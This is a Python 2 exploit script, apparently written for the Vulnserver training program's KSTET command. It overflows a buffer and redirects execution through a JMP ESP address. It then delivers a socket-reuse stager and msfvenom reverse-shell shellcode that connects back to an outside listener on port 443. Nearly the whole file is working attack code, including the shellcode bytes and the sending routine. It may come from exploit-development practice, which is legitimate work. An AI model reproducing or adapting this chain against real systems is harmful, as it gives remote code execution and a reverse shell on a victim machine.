#!/usr/bin/python

import os
import socket
import sys
from struct import pack
import time

host = "10.0.0.130"
port = 9999

# JMP ESP in esscfunc.dll #
esp = pack("<L", 0x625011AF)

# Jump to the first A #
backJump = "\xeb\xb4\x90\x90"

# recv at 0x0040252c #

# socket stager #
# PUSH ESP
# POP EAX
# ADD AX, 0x188
# SUB ESP
# XOR EBX, EBX
# PUSH EBX
# ADD BH, 0X4
# PUSH EBX
# PUSH ESP
# POP EBX
# ADD EBX, 0x64
# PUSH EBX
# PUSH DWORD PTR DS:[EAX]
# MOV EAX, 0X40252C90
# SHR EAX, 8
# CALL EAX

sockStage = "\x54\x58\x66\x05\x88\x01\x83\xec\x64\x33\xdb\x53"
sockStage += "\x80\xc7\x04\x53\x54\x5b\x83\xc3\x64\x53\xff\x30"
sockStage += "\xb8\x90\x2C\x25\x40\xc1\xe8\x08\xff\xd0"

buffer = "KSTET "
buffer += sockStage
buffer += "A" * (70 - len(sockStage))
buffer += esp
buffer += backJump
buffer += "C" * 500

# msfvenom -p windows/shell_reverse_tcp 
# LHOST=10.0.0.128 LPORT=443 -b "\x00" -f python --var-name shell
# Payload size: 351 bytes

shell =  ""
shell += "\x90" * 50
shell += "\xba\xc6\x96\x43\xed\xdb\xcd\xd9\x74\x24\xf4\x58\x33"
shell += "\xc9\xb1\x52\x83\xe8\xfc\x31\x50\x0e\x03\x96\x98\xa1"
shell += "\x18\xea\x4d\xa7\xe3\x12\x8e\xc8\x6a\xf7\xbf\xc8\x09"
shell += "\x7c\xef\xf8\x5a\xd0\x1c\x72\x0e\xc0\x97\xf6\x87\xe7"
shell += "\x10\xbc\xf1\xc6\xa1\xed\xc2\x49\x22\xec\x16\xa9\x1b"
shell += "\x3f\x6b\xa8\x5c\x22\x86\xf8\x35\x28\x35\xec\x32\x64"
shell += "\x86\x87\x09\x68\x8e\x74\xd9\x8b\xbf\x2b\x51\xd2\x1f"
shell += "\xca\xb6\x6e\x16\xd4\xdb\x4b\xe0\x6f\x2f\x27\xf3\xb9"
shell += "\x61\xc8\x58\x84\x4d\x3b\xa0\xc1\x6a\xa4\xd7\x3b\x89"
shell += "\x59\xe0\xf8\xf3\x85\x65\x1a\x53\x4d\xdd\xc6\x65\x82"
shell += "\xb8\x8d\x6a\x6f\xce\xc9\x6e\x6e\x03\x62\x8a\xfb\xa2"
shell += "\xa4\x1a\xbf\x80\x60\x46\x1b\xa8\x31\x22\xca\xd5\x21"
shell += "\x8d\xb3\x73\x2a\x20\xa7\x09\x71\x2d\x04\x20\x89\xad"
shell += "\x02\x33\xfa\x9f\x8d\xef\x94\x93\x46\x36\x63\xd3\x7c"
shell += "\x8e\xfb\x2a\x7f\xef\xd2\xe8\x2b\xbf\x4c\xd8\x53\x54"
shell += "\x8c\xe5\x81\xfb\xdc\x49\x7a\xbc\x8c\x29\x2a\x54\xc6"
shell += "\xa5\x15\x44\xe9\x6f\x3e\xef\x10\xf8\x4b\xf0\x1a\x78"
shell += "\x23\xf2\x1a\x79\x0f\x7b\xfc\x13\x7f\x2a\x57\x8c\xe6"
shell += "\x77\x23\x2d\xe6\xad\x4e\x6d\x6c\x42\xaf\x20\x85\x2f"
shell += "\xa3\xd5\x65\x7a\x99\x70\x79\x50\xb5\x1f\xe8\x3f\x45"
shell += "\x69\x11\xe8\x12\x3e\xe7\xe1\xf6\xd2\x5e\x58\xe4\x2e"
shell += "\x06\xa3\xac\xf4\xfb\x2a\x2d\x78\x47\x09\x3d\x44\x48"
shell += "\x15\x69\x18\x1f\xc3\xc7\xde\xc9\xa5\xb1\x88\xa6\x6f"
shell += "\x55\x4c\x85\xaf\x23\x51\xc0\x59\xcb\xe0\xbd\x1f\xf4"
shell += "\xcd\x29\xa8\x8d\x33\xca\x57\x44\xf0\xea\xb5\x4c\x0d"
shell += "\x83\x63\x05\xac\xce\x93\xf0\xf3\xf6\x17\xf0\x8b\x0c"
shell += "\x07\x71\x89\x49\x8f\x6a\xe3\xc2\x7a\x8c\x50\xe2\xae"

try:
	print "[*] Sending death...."
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host,port))
	s.recv(1024)
	s.send(buffer)
	print "[*] Stager delievered, sleeping for 5 seconds....."
	time.sleep(5)
	s.send(shell)
	print "[*] Sent payload!"

except:
	print "[!] Connection failed, check debugger"
